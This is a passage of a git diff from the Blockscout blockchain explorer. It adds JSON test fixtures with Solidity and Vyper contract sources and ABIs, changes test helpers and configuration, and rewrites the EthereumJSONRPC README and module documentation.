(uint256) {\n slot1.tvl += uint72(_totalAmount);\n return slot0.txCount++;\n }\n\n function _resetDailyLimits(uint8 _tier) internal {\n delete tiers[_tier].stats;\n }\n\n function _setLimits(\n uint8 _tier,\n uint256 _tvlCap,\n uint256 _dailyDepositCap,\n uint256 _dailyWithdrawalCap,\n uint256 _dailyUserDepositCap,\n uint256 _depositCap,\n uint256 _dailyUserDirectDepositCap,\n uint256 _directDepositCap\n )\n internal\n {\n require(_tier < 255, \"ZkBobAccounting: invalid limit tier\");\n require(_depositCap > 0, \"ZkBobAccounting: zero deposit cap\");\n require(_tvlCap <= type(uint56).max * PRECISION, \"ZkBobAccounting: tvl cap too large\");\n require(_dailyDepositCap <= type(uint32).max * PRECISION, \"ZkBobAccounting: daily deposit cap too large\");\n require(_dailyWithdrawalCap <= type(uint32).max * PRECISION, \"ZkBobAccounting: daily withdrawal cap too large\");\n require(_dailyUserDepositCap >= _depositCap, \"ZkBobAccounting: daily user deposit cap too low\");\n require(_dailyDepositCap >= _dailyUserDepositCap, \"ZkBobAccounting: daily deposit cap too low\");\n require(_tvlCap >= _dailyDepositCap, \"ZkBobAccounting: tvl cap too low\");\n require(_dailyWithdrawalCap > 0, \"ZkBobAccounting: zero daily withdrawal cap\");\n require(\n _dailyUserDirectDepositCap >= _directDepositCap, \"ZkBobAccounting: daily user direct deposit cap too low\"\n );\n TierLimits memory tl = TierLimits({\n tvlCap: uint56(_tvlCap / PRECISION),\n dailyDepositCap: uint32(_dailyDepositCap / PRECISION),\n dailyWithdrawalCap: uint32(_dailyWithdrawalCap / PRECISION),\n dailyUserDepositCap: uint32(_dailyUserDepositCap / PRECISION),\n depositCap: uint32(_depositCap / PRECISION),\n dailyUserDirectDepositCap: uint32(_dailyUserDirectDepositCap / PRECISION),\n directDepositCap: uint32(_directDepositCap / PRECISION)\n });\n tiers[_tier].limits = tl;\n emit UpdateLimits(_tier, tl);\n }\n\n function _setUsersTier(uint8 _tier, address[] memory _users) internal {\n require(\n _tier == 255 || tiers[uint256(_tier)].limits.tvlCap > 0, \"ZkBobAccounting: non-existing pool limits tier\"\n );\n for (uint256 i = 0; i < _users.length; i++) {\n address user = _users[i];\n userStats[user].tier = _tier;\n emit UpdateTier(user, _tier);\n }\n }\n\n function _txCount() internal view returns (uint256) {\n return slot0.txCount;\n }\n}\n" + }, + "abi": "[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"__pool_id\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"_token\",\"type\":\"address\"},{\"internalType\":\"contract ITransferVerifier\",\"name\":\"_transfer_verifier\",\"type\":\"address\"},{\"internalType\":\"contract ITreeVerifier\",\"name\":\"_tree_verifier\",\"type\":\"address\"},{\"internalType\":\"contract IBatchDepositVerifier\",\"name\":\"_batch_deposit_verifier\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_direct_deposit_queue\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"index\",\"type\":\"uint256\"},{\"indexed\":true,\"internalType\":\"bytes32\",\"name\":\"hash\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"message\",\"type\":\"bytes\"}],\"name\":\"Message\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"uint8\",\"name\":\"tier\",\"type\":\"uint8\"},{\"components\":[{\"internalType\":\"uint56\",\"name\":\"tvlCap\",\"type\":\"uint56\"},{\"internalType\":\"uint32\",\"name\":\"dailyDepositCap\",\"type\":\"uint32\"},{\"internalType\":\"uint32\",\"name\":\"dailyWithdrawalCap\",\"type\":\"uint32\"},{\"internalType\":\"uint32\",\"name\":\"dailyUserDepositCap\",\"type\":\"uint32\"},{\"internalType\":\"uint32\",\"name\":\"depositCap\",\"type\":\"uint32\"},{\"internalType\":\"uint32\",\"name\":\"directDepositCap\",\"type\":\"uint32\"},{\"internalType\":\"uint32\",\"name\":\"dailyUserDirectDepositCap\",\"type\":\"uint32\"}],\"indexed\":false,\"internalType\":\"struct ZkBobAccounting.TierLimits\",\"name\":\"limits\",\"type\":\"tuple\"}],\"name\":\"UpdateLimits\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"manager\",\"type\":\"address\"}],\"name\":\"UpdateOperatorManager\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"user\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint8\",\"name\":\"tier\",\"type\":\"uint8\"}],\"name\":\"UpdateTier\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"seller\",\"type\":\"address\"}],\"name\":\"UpdateTokenSeller\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"fee\",\"type\":\"uint256\"}],\"name\":\"WithdrawFee\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"accumulatedFee\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"all_messages_hash\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_root_after\",\"type\":\"uint256\"},{\"internalType\":\"uint256[]\",\"name\":\"_indices\",\"type\":\"uint256[]\"},{\"internalType\":\"uint256\",\"name\":\"_out_commit\",\"type\":\"uint256\"},{\"internalType\":\"uint256[8]\",\"name\":\"_batch_deposit_proof\",\"type\":\"uint256[8]\"},{\"internalType\":\"uint256[8]\",\"name\":\"_tree_proof\",\"type\":\"uint256[8]\"}],\"name\":\"appendDirectDeposits\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"batch_deposit_verifier\",\"outputs\":[{\"internalType\":\"contract IBatchDepositVerifier\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"denominator\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"direct_deposit_queue\",\"outputs\":[{\"internalType\":\"contract IZkBobDirectDepositQueue\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_user\",\"type\":\"address\"}],\"name\":\"getLimitsFor\",\"outputs\":[{\"components\":[{\"internalType\":\"uint256\",\"name\":\"tvlCap\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"tvl\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"dailyDepositCap\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"dailyDepositCapUsage\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"dailyWithdrawalCap\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"dailyWithdrawalCapUsage\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"dailyUserDepositCap\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"dailyUserDepositCapUsage\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"depositCap\",\"type\":\"uint256\"},{\"internalType\":\"uint8\",\"name\":\"tier\",\"type\":\"uint8\"},{\"internalType\":\"uint256\",\"name\":\"dailyUserDirectDepositCap\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"dailyUserDirectDepositCapUsage\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"directDepositCap\",\"type\":\"uint256\"}],\"internalType\":\"struct ZkBobAccounting.Limits\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_root\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_tvlCap\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_dailyDepositCap\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_dailyWithdrawalCap\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_dailyUserDepositCap\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_depositCap\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_dailyUserDirectDepositCap\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_directDepositCap\",\"type\":\"uint256\"}],\"name\":\"initialize\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"nullifiers\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"operatorManager\",\"outputs\":[{\"internalType\":\"contract IOperatorManager\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"pool_id\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"pool_index\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_sender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"}],\"name\":\"recordDirectDeposit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint8\",\"name\":\"_tier\",\"type\":\"uint8\"}],\"name\":\"resetDailyLimits\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"roots\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint8\",\"name\":\"_tier\",\"type\":\"uint8\"},{\"internalType\":\"uint256\",\"name\":\"_tvlCap\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_dailyDepositCap\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_dailyWithdrawalCap\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_dailyUserDepositCap\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_depositCap\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_dailyUserDirectDepositCap\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_directDepositCap\",\"type\":\"uint256\"}],\"name\":\"setLimits\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract IOperatorManager\",\"name\":\"_operatorManager\",\"type\":\"address\"}],\"name\":\"setOperatorManager\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_seller\",\"type\":\"address\"}],\"name\":\"setTokenSeller\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint8\",\"name\":\"_tier\",\"type\":\"uint8\"},{\"internalType\":\"address[]\",\"name\":\"_users\",\"type\":\"address[]\"}],\"name\":\"setUsersTier\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"token\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"tokenSeller\",\"outputs\":[{\"internalType\":\"contract ITokenSeller\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"transact\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"transfer_verifier\",\"outputs\":[{\"internalType\":\"contract ITransferVerifier\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"tree_verifier\",\"outputs\":[{\"internalType\":\"contract ITreeVerifier\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_operator\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"}],\"name\":\"withdrawFee\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}]", + "constructorArguments": null, + "matchType": "PARTIAL", + "compilationArtifacts": null, + "creationInputArtifacts": null, + "deployedBytecodeArtifacts": null + } + ] +} \ No newline at end of file diff --git a/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_response.json b/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_response.json new file mode 100644 index 000000000000..a0ae7946d482 --- /dev/null +++ b/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_response.json @@ -0,0 +1,17 @@ +{ + "sources": [ + { + "fileName": "Test.sol", + "contractName": "Test", + "compilerVersion": "v0.8.17+commit.8df45f5f", + "compilerSettings": "{\"libraries\":{\"Test.sol\":{}},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":199},\"outputSelection\":{\"*\":{\"\":[\"ast\"],\"*\":[\"abi\",\"evm.bytecode\",\"evm.deployedBytecode\",\"evm.methodIdentifiers\"]}}}", + "sourceType": "SOLIDITY", + "sourceFiles": { + "Test.sol": "// SPDX-License-Identifier: MIT\r\n\r\npragma solidity 0.8.17;\r\n\r\ncontract Test {\r\n enum E {\r\n V1, V2, V3, V4\r\n }\r\n struct A {\r\n E a;\r\n uint256[] b;\r\n B[] c;\r\n }\r\n\r\n struct B {\r\n uint256 d;\r\n uint256 e;\r\n }\r\n\r\n function get(uint256 x) external pure returns (A memory) {\r\n uint256[] memory b = new uint256[](3);\r\n b[0] = 1;\r\n b[1] = 2;\r\n b[2] = 3;\r\n B[] memory c = new B[](3);\r\n c[0] = B(1, 2);\r\n c[1] = B(3, 4);\r\n c[2] = B(5, 6);\r\n return A(E.V3, b, c);\r\n }\r\n}" + }, + "abi": "[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"x\",\"type\":\"uint256\"}],\"name\":\"get\",\"outputs\":[{\"components\":[{\"type\":\"uint8\"},{\"type\":\"uint256[]\"},{\"components\":[{\"type\":\"uint256\"},{\"type\":\"uint256\"}],\"type\":\"tuple[]\"}],\"internalType\":\"struct Test.A\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"pure\",\"type\":\"function\"}]", + "constructorArguments": null, + "matchType": "PARTIAL" + } + ] +} \ No newline at end of file diff --git a/apps/block_scout_web/test/support/fixture/smart_contract/smart_contract_verifier_vyper_multi_part_blueprint_response.json b/apps/block_scout_web/test/support/fixture/smart_contract/smart_contract_verifier_vyper_multi_part_blueprint_response.json new file mode 100644 index 000000000000..403376f7514e --- /dev/null +++ b/apps/block_scout_web/test/support/fixture/smart_contract/smart_contract_verifier_vyper_multi_part_blueprint_response.json @@ -0,0 +1,21 @@ +{ + "message": "OK", + "status": "SUCCESS", + "source": { + "fileName": "Test.vy", + "contractName": "Test", + "compilerVersion": "v0.3.10+commit.91361694", + "compilerSettings": "{\"outputSelection\":{\"*\":[\"abi\",\"evm.bytecode\",\"evm.deployedBytecode\",\"evm.methodIdentifiers\"]}}", + "sourceType": "VYPER", + "sourceFiles": { + "Test.vy": "initialized: public(bool)\nvalue: public(uint256)\n\n@external\ndef __init__(_value: uint256):\n self.value = _value\n self.initialized = False" + }, + "abi": "[{\"inputs\":[{\"name\":\"_value\",\"type\":\"uint256\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"initialized\",\"outputs\":[{\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"value\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"}]", + "constructorArguments": null, + "matchType": "PARTIAL", + "compilationArtifacts": "{\"abi\":[{\"inputs\":[{\"name\":\"_value\",\"type\":\"uint256\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"initialized\",\"outputs\":[{\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"value\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"sources\":{\"Test.vy\":{\"id\":0}}}", + "creationInputArtifacts": "{}", + "deployedBytecodeArtifacts": "{\"sourceMap\":\"-1:-1:0:-;;;;;;;;;;;;;;;;:::-;:::-;;;;;:::-;;;:::-;;;;;;20:4;;-1:-1;:::-;:::-;;;;;:::-;;;:::-;;;;;;40:7;;-1:-1::-;;;;:::-;;;\"}", + "isBlueprint": true + } +} \ No newline at end of file diff --git a/apps/block_scout_web/test/support/subscription_case.ex b/apps/block_scout_web/test/support/subscription_case.ex index 25065b9c91ba..3701e6e993a6 100644 --- a/apps/block_scout_web/test/support/subscription_case.ex +++ b/apps/block_scout_web/test/support/subscription_case.ex @@ -13,7 +13,7 @@ defmodule BlockScoutWeb.SubscriptionCase do quote do # Import conveniences for testing with channels use BlockScoutWeb.ChannelCase - use Absinthe.Phoenix.SubscriptionTest, schema: BlockScoutWeb.Schema + use Absinthe.Phoenix.SubscriptionTest, schema: BlockScoutWeb.GraphQL.Schema end end diff --git a/apps/block_scout_web/test/test_helper.exs b/apps/block_scout_web/test/test_helper.exs index 99441816888b..99104f43f864 100644 --- a/apps/block_scout_web/test/test_helper.exs +++ b/apps/block_scout_web/test/test_helper.exs @@ -11,15 +11,36 @@ Application.put_env(:wallaby, :base_url, BlockScoutWeb.Endpoint.url()) {:ok, _} = Application.ensure_all_started(:ex_machina) -ExUnit.configure(formatters: [JUnitFormatter, ExUnit.CLIFormatter]) +Bureaucrat.start( + writer: Bureaucrat.ApiBlueprintWriter, + default_path: "API blueprint.md", + env_var: "DOC" +) + +# Bureaucrat.start() + +ExUnit.configure(formatters: [JUnitFormatter, ExUnit.CLIFormatter, Bureaucrat.Formatter]) ExUnit.start() -Mox.defmock(Explorer.ExchangeRates.Source.TestSource, for: Explorer.ExchangeRates.Source) +Mox.defmock(Explorer.Market.Source.TestSource, for: Explorer.Market.Source) Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo, :manual) - -Absinthe.Test.prime(BlockScoutWeb.Schema) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.Account, :manual) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.PolygonEdge, :manual) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.PolygonZkevm, :manual) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.RSK, :manual) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.Shibarium, :manual) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.Suave, :manual) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.Beacon, :manual) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.Stability, :manual) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.BridgedTokens, :manual) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.Filecoin, :manual) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.Mud, :manual) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.ShrunkInternalTransactions, :manual) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.EventNotifications, :manual) + +Absinthe.Test.prime(BlockScoutWeb.GraphQL.Schema) Mox.defmock(EthereumJSONRPC.Mox, for: EthereumJSONRPC.Transport) -Mox.defmock(BlockScoutWeb.TestCaptchaHelper, for: BlockScoutWeb.CaptchaHelper) +Mox.defmock(Explorer.Mock.TeslaAdapter, for: Tesla.Adapter) diff --git a/apps/ethereum_jsonrpc/README.md b/apps/ethereum_jsonrpc/README.md index 8f9ab1e94b24..d84bcfaa1a7f 100644 --- a/apps/ethereum_jsonrpc/README.md +++ b/apps/ethereum_jsonrpc/README.md @@ -1,6 +1,6 @@ # EthereumJSONRPC -Ethereum JSONRPC client. +The EthereumJSONRPC component is an Elixir library that interacts with Ethereum and EVM-compatible blockchains via JSON-RPC APIs. It constructs and sends both single and batch JSON-RPC requests while managing retries, timeouts, and throttling. The component abstracts transport mechanisms using a callback-based behaviour that supports HTTP, IPC, and WebSockets. It adapts to various Ethereum clients by implementing a variant behaviour for each, such as Geth, Nethermind, Erigon, Besu, and others. The library encodes function calls and decodes responses in accordance with ABI specifications. It retrieves diverse blockchain data including blocks, transactions, receipts, logs, and account balances. Additionally, it supports real-time updates through WebSocket subscriptions and monitors endpoint availability to switch to fallback URLs when needed. Request coordination is enhanced by a rolling window mechanism that prevents overwhelming the JSON-RPC node. ## Configuration @@ -15,31 +15,31 @@ config :ethereum_jsonrpc, ``` Note: the tracing node URL is provided separately from `:url`, -via `:trace_url`. The trace URL and is used for +via `:trace_url`. The trace URL is used for `fetch_internal_transactions`, which is only a supported method on -tracing nodes. The `:http` option is passed directly to the HTTP -library (`HTTPoison`), which forwards the options down to `:hackney`. +tracing nodes. The `:http` option is adapted +to the HTTP library (`HTTPoison` or `Tesla.Mint`). ## Testing -### Parity +### Nethermind #### Mox **This is the default setup. `mix test` will work on its own, but to be explicit, use the following setup**: ```shell -export ETHEREUM_JSONRPC_CASE=EthereumJSONRPC.Case.Parity.Mox +export ETHEREUM_JSONRPC_CASE=EthereumJSONRPC.Case.Nethermind.Mox export ETHEREUM_JSONRPC_WEB_SOCKET_CASE=EthereumJSONRPC.WebSocket.Case.Mox -mix test --exclude no_parity +mix test --exclude no_nethermind ``` #### HTTP / WebSocket ```shell -export ETHEREUM_JSONRPC_CASE=EthereumJSONRPC.Case.Parity.HTTPWebSocket -export ETHEREUM_JSONRPC_WEB_SOCKET_CASE=EthereumJSONRPC.WebSocket.Case.Parity -mix test --exclude no_parity +export ETHEREUM_JSONRPC_CASE=EthereumJSONRPC.Case.Nethermind.HTTPWebSocket +export ETHEREUM_JSONRPC_WEB_SOCKET_CASE=EthereumJSONRPC.WebSocket.Case.Nethermind +mix test --exclude no_nethermind ``` | Protocol | URL | diff --git a/apps/ethereum_jsonrpc/config/config.exs b/apps/ethereum_jsonrpc/config/config.exs index e578ffbea78a..7df95245ee45 100644 --- a/apps/ethereum_jsonrpc/config/config.exs +++ b/apps/ethereum_jsonrpc/config/config.exs @@ -6,7 +6,6 @@ config :ethereum_jsonrpc, EthereumJSONRPC.RequestCoordinator, duration: :timer.minutes(1), table: EthereumJSONRPC.RequestCoordinator.TimeoutCounter ], - wait_per_timeout: :timer.seconds(20), max_jitter: :timer.seconds(2) # Add this configuration to add global RPC request throttling. @@ -30,6 +29,8 @@ config :logger, :ethereum_jsonrpc, block_number step count error_count shrunk import_id transaction_id)a, metadata_filter: [application: :ethereum_jsonrpc] +config :tesla, adapter: Tesla.Adapter.Mint + # Import environment specific config. This must remain at the bottom # of this file so it overrides the configuration defined above. import_config "#{config_env()}.exs" diff --git a/apps/ethereum_jsonrpc/config/runtime/test.exs b/apps/ethereum_jsonrpc/config/runtime/test.exs index 476dedd9439c..081c952dfc9d 100644 --- a/apps/ethereum_jsonrpc/config/runtime/test.exs +++ b/apps/ethereum_jsonrpc/config/runtime/test.exs @@ -1,14 +1,10 @@ import Config -variant = - if is_nil(System.get_env("ETHEREUM_JSONRPC_VARIANT")) do - "parity" - else - System.get_env("ETHEREUM_JSONRPC_VARIANT") - |> String.split(".") - |> List.last() - |> String.downcase() - end +alias EthereumJSONRPC.Variant + +config :ethereum_jsonrpc, EthereumJSONRPC.RequestCoordinator, wait_per_timeout: 2 + +variant = Variant.get() Code.require_file("#{variant}.exs", "#{__DIR__}/../../../explorer/config/test") Code.require_file("#{variant}.exs", "#{__DIR__}/../../../indexer/config/test") diff --git a/apps/ethereum_jsonrpc/config/test.exs b/apps/ethereum_jsonrpc/config/test.exs index 0ed3de28b282..f04b52869c67 100644 --- a/apps/ethereum_jsonrpc/config/test.exs +++ b/apps/ethereum_jsonrpc/config/test.exs @@ -6,7 +6,6 @@ config :ethereum_jsonrpc, EthereumJSONRPC.RequestCoordinator, duration: :timer.seconds(6), table: EthereumJSONRPC.RequestCoordinator.TimeoutCounter ], - wait_per_timeout: 2, max_jitter: 1, # This should not actually limit anything in tests, but it is here to enable the relevant code for testing throttle_rate_limit: 10_000, @@ -18,6 +17,8 @@ config :ethereum_jsonrpc, EthereumJSONRPC.RequestCoordinator, config :ethereum_jsonrpc, EthereumJSONRPC.Tracer, disabled?: false +config :tesla, adapter: Explorer.Mock.TeslaAdapter + config :logger, :ethereum_jsonrpc, level: :warn, path: Path.absname("logs/test/ethereum_jsonrpc.log") diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc.ex index 3f64a2b99104..53e0c29c9ef5 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc.ex @@ -4,17 +4,17 @@ defmodule EthereumJSONRPC do ## Configuration - Configuration for parity URLs can be provided with the following mix config: + Configuration for Nethermind URLs can be provided with the following mix config: config :ethereum_jsonrpc, url: "http://localhost:8545", trace_url: "http://localhost:8545", - http: [recv_timeout: 60_000, timeout: 60_000, hackney: [pool: :ethereum_jsonrpc]] + http: [recv_timeout: 60_000, timeout: 60_000, pool: :ethereum_jsonrpc] Note: the tracing node URL is provided separately from `:url`, via `:trace_url`. The trace URL and is used for - `fetch_internal_transactions`, which is only a supported method on tracing nodes. The `:http` option is passed - directly to the HTTP library (`HTTPoison`), which forwards the options down to `:hackney`. + `fetch_internal_transactions`, which is only a supported method on tracing nodes. The `:http` option is adapted + to the HTTP library (`HTTPoison` or `Tesla.Mint`). ## Throttling @@ -25,6 +25,8 @@ defmodule EthereumJSONRPC do documentation for `EthereumJSONRPC.RequestCoordinator`. """ + require Logger + alias EthereumJSONRPC.{ Block, Blocks, @@ -32,10 +34,14 @@ defmodule EthereumJSONRPC do FetchedBalances, FetchedBeneficiaries, FetchedCodes, + Nonces, Receipts, RequestCoordinator, Subscription, Transport, + Utility.CommonHelper, + Utility.EndpointAvailabilityObserver, + Utility.RangesHelper, Variant } @@ -83,7 +89,7 @@ defmodule EthereumJSONRPC do * `:transport` - the `t:EthereumJSONRPC.Transport.t/0` callback module * `:transport_options` - options passed to `c:EthereumJSONRPC.Transport.json_rpc/2` * `:variant` - the `t:EthereumJSONRPC.Variant.t/0` callback module - * `:throttle_timout` - the maximum amount of time in milliseconds to throttle + * `:throttle_timeout` - the maximum amount of time in milliseconds to throttle before automatically returning a timeout. Defaults to #{@default_throttle_timeout} milliseconds. """ @type json_rpc_named_arguments :: [ @@ -168,10 +174,10 @@ defmodule EthereumJSONRPC do """ @spec execute_contract_functions([Contract.call()], [map()], json_rpc_named_arguments) :: [Contract.call_result()] def execute_contract_functions(functions, abi, json_rpc_named_arguments, leave_error_as_map \\ false) do - if Enum.count(functions) > 0 do - Contract.execute_contract_functions(functions, abi, json_rpc_named_arguments, leave_error_as_map) - else + if Enum.empty?(functions) do [] + else + Contract.execute_contract_functions(functions, abi, json_rpc_named_arguments, leave_error_as_map) end end @@ -182,31 +188,119 @@ defmodule EthereumJSONRPC do [%{required(:block_quantity) => quantity, required(:hash_data) => data()}], json_rpc_named_arguments ) :: {:ok, FetchedBalances.t()} | {:error, reason :: term} - def fetch_balances(params_list, json_rpc_named_arguments) + def fetch_balances(params_list, json_rpc_named_arguments, latest_block_number \\ 0, chunk_size \\ nil) when is_list(params_list) and 